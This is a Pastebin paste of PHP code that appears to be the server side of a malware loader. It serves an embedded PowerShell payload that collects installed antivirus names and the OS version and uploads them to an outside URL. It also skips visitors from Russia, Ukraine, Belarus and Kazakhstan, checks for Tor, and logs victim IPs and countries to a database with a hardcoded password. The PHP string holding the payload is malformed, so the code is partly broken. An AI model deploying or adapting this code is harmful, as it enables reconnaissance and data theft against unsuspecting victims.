Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- error_reporting(-1); // reports all errors
- ini_set("display_errors", "1"); // shows all errors
- ini_set("log_errors", 1);
- //echo "script start ";
- require 'vendor/autoload.php';
- require_once 'TorDetect.php';
- use GeoIp2\Database\Reader;
- $url = "$wmiQuery = "SELECT * FROM AntiVirusProduct"
- $AntivirusProduct = Get-WmiObject -Namespace "root\SecurityCenter2" -Query $wmiQuery @psboundparameters
- [array]$AntivirusNames = $AntivirusProduct.displayName
- $av=""
- if($AntivirusNames.Count -eq 0){
- $av="Anti-Virus is NOT installed!"
- }else{
- foreach($name in $AntivirusNames){
- $av+="$name , "
- }
- }
- $webclient = New-Object System.Net.WebClient
- $postParams=New-Object Collections.Specialized.NameValueCollection
- $postParams.Add("os",(Get-WmiObject -class Win32_OperatingSystem).Caption)
- $postParams.Add("av","$av")
- $result=[System.Text.Encoding]::ASCII.GetString($webclient.UploadValues("http://any.com/any.php",$postParams))
- $postParams["os"]
- $postParams["av"]
- $result
- ";
- $host = 'localhost';
- $db = 'cpp_loader_ca';
- $user = 'root';
- $pass = 'B92fueo6aU';
- $charset = 'utf8';
- $dsn = "mysql:host=$host;dbname=$db;charset=$charset";
- $opt = [
- PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
- PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
- PDO::ATTR_EMULATE_PREPARES => false,
- ];
- $pdo = new PDO($dsn, $user, $pass, $opt);
- $ip = getIP();
- if (strpos($ip, ',') !== false) {
- $ip_arr = explode(",", $ip);
- $ip = $ip_arr[0];
- }
- if($ip == "67.137.36.66")
- {exit;}
- $sng_codes = [
- 'RU',
- 'UA',
- 'BY',
- 'KZ'
- ];
- $instance = \TorDetect\TorDetect::getInstance();
- //$host= gethostname(); $serv_ip = gethostbyname($host);
- //$is_tor = $tor_detector->check($ip, 80, $serv_ip);
- //echo "tor check start ";
- $is_tor = $instance->isTorActive();
- //echo "tor check end ";
- try{
- $reader = new Reader('GeoIP2-City.mmdb');
- $record = $reader->city($ip);
- $country = $record->country->name;
- $cc = $record->country->isoCode;
- //add to db info
- }
- catch (GeoIp2\Exception\AddressNotFoundException $e ){
- $country = "Not found";
- $cc = "NotF";
- }
- //echo "sng check start ";
- if(in_array($cc, $sng_codes))
- {
- exit;
- }
- //echo "sng check end ";
- $date = date('Y-m-d H:i:s');
- $q = $pdo->prepare('insert into `hits` (ip, country, date) values (:ip, :country, :date) ');
- $q->bindParam(':ip', $ip);
- $q->bindParam(':country', $country);
- $q->bindParam(':date', $date);
- $q->execute();
- echo "";
- echo $url;
- function getIP()
- {
- if (isset($_SERVER["HTTP_X_REAL_IP"]))
- return $_SERVER["HTTP_X_REAL_IP"];
- else if (isset($_SERVER["HTTP_X_FORWARDED_FOR"]))
- return $_SERVER ["HTTP_X_FORWARDED_FOR"];
- return $_SERVER['REMOTE_ADDR'];
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement